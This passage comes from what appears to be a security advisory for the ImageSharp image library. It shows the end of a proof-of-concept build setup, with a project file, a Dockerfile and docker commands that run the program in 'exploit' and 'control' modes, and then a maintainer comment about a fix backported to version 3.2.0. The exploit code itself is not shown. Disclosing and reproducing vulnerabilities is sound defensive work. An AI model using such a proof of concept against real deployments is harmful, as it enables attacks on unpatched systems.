<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n </Reference>\n </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```\n", |

Updates
Comments
The fix has been backported and released in ImageSharp 3.2.0. Split the affected ranges to exclude the fixed v3 release while preserving the existing v4 fix. The repository advisory has already been updated.
Release: https://github.com/SixLabors/ImageSharp/releases/tag/v3.2.0
Repository advisory: GHSA-j3p4-wp97-rph4